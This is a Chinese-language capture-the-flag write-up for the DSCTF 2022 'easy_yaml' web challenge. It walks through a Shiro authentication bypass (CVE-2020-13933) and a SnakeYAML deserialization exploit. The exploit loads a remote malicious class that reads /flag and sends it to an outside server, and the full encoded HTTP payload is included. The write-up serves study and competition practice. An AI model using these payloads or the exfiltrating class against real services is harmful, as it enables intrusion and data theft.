DSCTF-2022-复盘
Created At : 2022-07-17 01:10
Views 👀 :
Web easy_yaml 进入赛题页面直接F12或ctrl+U查看源码可以看到部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public ShiroFilterFactoryBean shiroFilter () { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean (); bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager()); bean.setLoginUrl("/login" ); Map<String, String> filterMap = new LinkedHashMap <>(); filterMap.put("/static/*" ,"anon" ); filterMap.put("/load/*" , "authc" ); bean.setFilterChainDefinitionMap(filterMap); return bean; } @PostMapping(value = "/load/{id}") @ResponseBody public String loadyaml (@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata) throws IOException, ClassNotFoundException { Yaml yaml = new Yaml (); Person p = yaml.loadAs(persondata, Person.class); return p.username; } public class Address { public String street; public Object ext; public boolean isValid; } public class Person { public String username; public String age; public boolean isLogin; public Address address; }
要访问/load/目录必须通过身份认证,但是从给出的源码并没有任何登录的信息,猜测需要绕过身份认证。试了好几个shiro认证绕过,发现/load/%3bxpoint可以绕过成功,即加一个%3b 也就是 ; 的url编码,也就是CVE-2020-13933。这里参考的是:《Java安全之Shiro权限绕过》 https://www.cnblogs.com/nice0e3/p/16248252.html 。
绕过认证之后即可进入到/load/目录进行下一步操作。可以看到,这里是用 yaml.loadAs() 函数将我们发送的yaml数据以Person类进行加载,下面也给出了Person类的构造,其中username在代码执行顺利的情况下会有回显,参数address则被指定为前面给出的Address类型,而这个类中就有一个参数能够利用,即ext,它能够反序列化为任意类,我们能够在这个地方构造恶意类来getshell。手动构造yaml数据如下:
1 2 3 4 5 6 7 8 username: xp0int age: 11 isLogin: true address: street: xp0int ext: 恶意类 isValid: true
恶意类的构造也会参照了mi1k7ea师傅的博客:《Java SnakeYaml反序列化漏洞》 https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 这篇文章也汇总了很多其他的一些漏洞。
1 2 3 4 5 6 7 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [ [ !!java.net.URL ["http://ip:1234/"] ] ] ]
这使用了ScriptEngineManager类进行构造,本质上来讲是SPI机制,客户端通过访问服务端的目录下的META-INF/services文件获取自定义实现的类的1类名,再通过Class.forName来进行加载。这也是看了nice0e3师傅的文章学习到的: 《Java安全之SnakeYaml反序列化分析》https://www.cnblogs.com/nice0e3/p/14514882.html 。
那么剩下的问题就是构造一个恶意类并搭建起提供加载服务的Web应用了,这里可以直接下载github上的项目来快速搭建https://github.com/artsploit/yaml-payload。首先需要修改项目中/src/artsploit/目录下的 AwesomeScriptEngineFactory.java文件,讲函数AwesomeScriptEngineFactory() 的内容修改为我们要执行的代码,随后进行编译在/src/artsploit/目录下生成AwesomeScriptEngineFactory.class。
1 javac src/artsploit/AwesomeScriptEngineFactory.java
随后将/src/文件夹搬到vps上,用python开启简单的web服务即可。
1 python -m http.server --cgi 1234
在远程恶意服务准备好之后就可以开始发送准备好的yaml数据了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 username: xp0int age: 11 isLogin: true address: street: xp0int ext: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [ [ !!java.net.URL ["http://ip:1234/" ] ] ] ] isValid: true
将以上内容进行url编码,发送到目标网站,随后即会触发反序列化加载远程恶意类读取flag。
在比赛时用Runtime.getRuntime().exec()进行反弹shell,但是一直都没反应,整了好久怀疑是自己的恶意服务没构造好,等着看到W&M的wp:https://blog.wm-team.cn/index.php/archives/21/ 后才想起来,有可能这个方法被禁用了,用其他方式就好了,例如W&M的师傅直接读flag,然后将其构造为GET方法的参数访问自己vps上的服务即可看到get flag。
趁着环境还没关赶紧进行复现。
远程恶意类代码主体如下:
1 2 3 4 5 6 7 8 9 10 11 public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory () { try { new java .net.URL("http://119.91.239.98:1234/?a=" +new java .io.BufferedReader(new java .io.FileReader("/flag" )).readLine()).openConnection().getInputStream(); } catch (IOException e) { e.printStackTrace(); } }
最终payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 POST /load/%3bxp0int HTTP/1.1 Host : 39.105.38.203:30113Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 929persondata= %75 %73 %65 %72 %6 e%61 %6 d%65 %3 a%20 %78 %70 %30 %69 %6 e%74 %0 a%61 %67 %65 %3 a%20 %31 %31 %0 a%69 %73 %4 c %6 f%67 %69 %6 e%3 a%20 %74 %72 %75 %65 %0 a%61 %64 %64 %72 %65 %73 %73 %3 a%20 %0 a%20 %20 %20 %20 %73 %74 %72 %65 %65 %74 %3 a%20 %78 %70 %30 %69 %6 e%74 %0 a%20 %20 %20 %20 %65 %78 %74 %3 a%20 %0 a%20 %20 %20 %20 %20 %20 %20 %20 %21 %21 %6 a%61 %76 %61 %78 %2 e%73 %63 %72 %69 %70 %74 %2 e%53 %63 %72 %69 %70 %74 %45 %6 e%67 %69 %6 e%65 %4 d%61 %6 e%61 %67 %65 %72 %20 %5 b%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %21 %21 %6 a%61 %76 %61 %2 e%6 e%65 %74 %2 e%55 %52 %4 c %43 %6 c %61 %73 %73 %4 c %6 f%61 %64 %65 %72 %20 %5 b%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %5 b%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %21 %21 %6 a%61 %76 %61 %2 e%6 e%65 %74 %2 e%55 %52 %4 c %20 %5 b%22 %68 %74 %74 %70 %3 a%2 f%2 f%69 %70 %3 a%31 %32 %33 %34 %2 f%22 %5 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %5 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %5 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %5 d%0 a%20 %20 %20 %20 %69 %73 %56 %61 %6 c %69 %64 %3 a%20 %74 %72 %75 %65
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com